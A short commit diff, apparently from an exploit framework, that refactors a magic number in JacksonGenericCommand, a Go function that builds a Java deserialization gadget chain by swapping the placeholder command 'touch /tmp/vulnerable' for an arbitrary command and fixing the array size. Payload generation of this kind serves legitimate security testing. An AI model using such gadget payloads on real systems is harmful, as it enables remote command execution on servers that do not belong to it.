Don't use magic numbers

Author: wvu

java/javagadget.go

@@ -466,7 +466,11 @@ func JacksonGenericCommand(cmd string) (string, error) {
 
 	gadget := string(gadgetBytes)
 	gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
-	gadget = strings.ReplaceAll(gadget, "\x00\x00\x06\x54", transform.PackBigInt32(1599+len(cmd))) // Array size
+	const (
+		arraySizeWithCommand    = "\x00\x00\x06\x54" // 1620
+		arraySizeWithoutCommand = 1599
+	)
+	gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd)))
 
 	return gadget, nil
 }